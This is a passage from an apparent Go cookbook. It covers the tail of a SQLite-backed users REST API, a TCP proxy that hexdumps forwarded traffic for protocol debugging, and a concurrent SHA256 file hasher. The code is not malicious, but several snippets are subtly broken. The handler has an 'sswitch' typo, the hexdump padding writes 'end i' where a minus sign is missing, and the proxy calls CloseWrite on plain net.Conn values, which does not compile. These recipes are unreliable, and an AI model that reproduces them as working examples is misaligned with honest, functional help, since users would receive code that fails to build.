    s.router.ServeHTTP(w, r)
}

func (s *Server) usersHandler(w http.ResponseWriter, r *http.Request) {
    sswitch r.Method {
    case http.MethodGet:
        users, err := s.ds.ListUsers()
        if err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)
            return
        }
        json.NewEncoder(w).Encode(users)
    case http.MethodPost:
        var u User
        if err := json.NewDecoder(r.Body).Decode(&u); err != nil {
            http.Error(w, err.Error(), http.StatusBadRequest)
            return
        }
        id, err := s.ds.CreateUser(u.Name)
        if err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)
            return
        }
        u.ID = id
        w.WriteHeader(http.StatusCreated)
        json.NewEncoder(w).Encode(u)
    default:
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
    }
}

func (s *Server) userHandler(w http.ResponseWriter, r *http.Request) {
    idStr := strings.TrimPrefix(r.URL.Path, "/users/")
    id, err := strconv.ParseInt(idStr, 10, 64)
    if err != nil {
        http.Error(w, "Invalid user ID", http.StatusBadRequest)
        return
    }

    switch r.Method {
    case http.MethodGet:
        user, err := s.ds.GetUser(id)
        if err != nil {
            if err == sql.ErrNoRows {
                http.Error(w, "User not found", http.StatusNotFound)
            } else {
                http.Error(w, err.Error(), http.StatusInternalServerError)
            }
            return
        }
        json.NewEncoder(w).Encode(user)
    default:
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
    }
}

// --- Main ---

func main() {
    db, err := sql.Open("sqlite3", "./api.db")
    if err != nil {
        log.Fatal(err)
    }
    defer db.Close()

    _, err = db.Exec("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, name TEXT)")
    if err != nil {
        log.Fatal(err)
    }

    ds := NewDatastore(db)
    server := NewServer(ds)

    httpServer := &http.Server{
        Addr:    ":8080",
        Handler: server,
    }

    go func() {
        log.Println("Starting API server on :8080")
        if err := httpServer.ListenAndServe(); err != nil && err != http.ErrServerClosed {
            log.Fatalf("Server error: %v", err)
        }
    }()

    stop := make(chan os.Signal, 1)
    signal.Notify(stop, syscall.SIGINT, syscall.SIGTERM)
    <-stop

    log.Println("Shutting down server...")
    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()
    if err := httpServer.Shutdown(ctx); err != nil {
        log.Fatalf("Server shutdown failed: %v", err)
    }
    log.Println("Server stopped.")
}

36. Cookbook: A Simple TCP Proxy

This tool listens for TCP connections on a local port and forwards all data to a remote destination, printing the data as it flows in both directions. It's a fantastic tool for debugging network protocols.

package main

import (
    "fmt"
    "io"
    "log"
    "net"
    "os"
    "strings"
    "sync"
)

func main() {
    if len(os.Args) != 3 {
        fmt.Fprintf(os.Stderr, "Usage: %s <local port> <remote host:port>\n", os.Args[0])
        fmt.Fprintf(os.Stderr, "Example: %s :9000 example.com:80\n", os.Args[0])
        os.Exit(1)
    }
    localAddr := os.Args[1]
    remoteAddr := os.Args[2]

    log.Printf("TCP Proxy listening on %s, forwarding to %s", localAddr, remoteAddr)

    listener, err := net.Listen("tcp", localAddr)
    if err != nil {
        log.Fatalf("Failed to listen on %s: %v", localAddr, err)
    }
    defer listener.Close()

    for {
        conn, err := listener.Accept()
        if err != nil {
            log.Printf("Failed to accept connection: %v", err)
            continue
        }
        // Handle each connection in a new goroutine
        go handleConnection(conn, remoteAddr)
    }
}

func handleConnection(localConn net.Conn, remoteAddr string) {
    defer localConn.Close()
    log.Printf("Accepted connection from %s", localConn.RemoteAddr())

    remoteConn, err := net.Dial("tcp", remoteAddr)
    if err != nil {
        log.Printf("Failed to connect to remote %s: %v", remoteAddr, err)
        return
    }
    defer remoteConn.Close()
    log.Printf("Connected to remote %s", remoteAddr)

    // Use a WaitGroup to wait for both directions of the proxy to finish
    var wg sync.WaitGroup
    wg.Add(2)

    // Goroutine to copy data from local to remote
    go func() {
        defer wg.Done()
        log.Printf("-> Forwarding from %s to %s", localConn.RemoteAddr(), remoteAddr)
        // io.Copy returns the number of bytes copied and any error
        // We wrap the writer with a custom HexdumpWriter to print the data
        _, err := io.Copy(remoteConn, io.TeeReader(localConn, &HexdumpWriter{label: "-> CLIENT"}))
        if err != nil {
            log.Printf("Error copying from local to remote: %v", err)
        }
        // Close the remote connection for writing to signal the other side
        remoteConn.CloseWrite() // Use CloseWrite for graceful shutdown
    }()

    // Goroutine to copy data from remote to local
    go func() {
        defer wg.Done()
        log.Printf("<- Forwarding from %s to %s", remoteAddr, localConn.RemoteAddr())
        _, err := io.Copy(localConn, io.TeeReader(remoteConn, &HexdumpWriter{label: "<- SERVER"}))
        if err != nil {
            log.Printf("Error copying from remote to local: %v", err)
        }
        // Close the local connection for writing
        localConn.CloseWrite() // Use CloseWrite for graceful shutdown
    }()

    // Wait for both copy operations to complete
    wg.Wait()
    log.Printf("Closed connection from %s", localConn.RemoteAddr())
}

// HexdumpWriter is a custom writer that prints a hexdump of data written to it.
type HexdumpWriter struct {
    label string
}

func (w *HexdumpWriter) Write(p []byte) (n int, err error) {
    fmt.Printf("--- %s (%d bytes) ---\n", w.label, len(p))
    // A simple hexdump like format
    for i := 0; i < len(p); i += 16 {
        end := i + 16
        if end > len(p) {
            end = len(p)
        }
        // Print hex representation
        fmt.Printf("%08x  ", i)
        for j, b := range p[i:end] {
            fmt.Printf("%02x ", b)
            if j == 7 {
                fmt.Print(" ")
            }
        }
        // Pad if line is short
        if end i < 16 {
            fmt.Print(strings.Repeat("   ", 16-(end i)))
            if end i <= 8 {
                fmt.Print(" ")
            }
        }
        // Print ASCII representation
        fmt.Print(" |")
        for _, b := range p[i:end] {
            if b >= 32 && b <= 126 {
                fmt.Printf("%c", b)
            } else {
                fmt.Print(".")
            }
        }
        fmt.Println("|")
    }
    fmt.Println("--------------------")
    return len(p), nil
}

37. Cookbook: A Concurrent File Hasher

This command line tool walks a directory, calculates the SHA256 hash of each file, and prints the results. It uses a worker pool pattern to process files concurrently for better performance on multi core systems.

package main

import (
    "crypto/sha256"
    "fmt"
    "io"
    "log"
    "os"
    "path/filepath"
    "sync"
)

type FileHash struct {
    Path string
    Hash string
    Err  error
}

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s <directory>\n", os.Args[0])
        os.Exit(1)
    }
    rootDir := os.Args[1]

    // A channel to send file paths to workers
    paths := make(chan string)
    // A channel to receive results from workers
    results := make(chan *FileHash)

    var wg sync.WaitGroup
    numWorkers := 10

    // Start worker goroutines
    for i := 0; i < numWorkers; i++ {
        wg.Add(1)
        go func() {
            defer wg.Done()
            for path := range paths {
                hash, err := hashFile(path)
                results <- &FileHash{Path: path, Hash: hash, Err: err}
            }
        }()
    }

    // Start a goroutine to walk the directory and send paths to the workers
    go func() {
        err := filepath.Walk(rootDir, func(path string, info os.FileInfo, err error) error {
            if err != nil {
                return err
            }
            if !info.Mode().IsRegular() {
                return nil
            }
            paths <- path
            return nil
        })
        if err != nil {
            log.Printf("Error walking directory: %v", err)
        }
        // Close the paths channel to signal that there are no more files
        close(paths)
    }()

    // Start a goroutine to wait for all workers to finish, then close the results channel
    go func() {
        wg.Wait()
        close(results)
    }()

    // Process results from the results channel
    for res := range results {
        if res.Err != nil {
            fmt.Printf("%s\tERROR: %v\n", res.Path, res.Err)
        } else {
            fmt.Printf("%s\t%s\n", res.Path, res.Hash)
        }
    }
}

func hashFile(path string) (string, error) {
    file, err := os.Open(path)
    if err != nil {
        return "", err
    }
    defer file.Close()

    hasher := sha256.New()
    if _, err := io.Copy(hasher, file); err != nil {
        return "", err
    }

    return fmt.Sprintf("%x", hasher.Sum(nil)), nil
}

Sources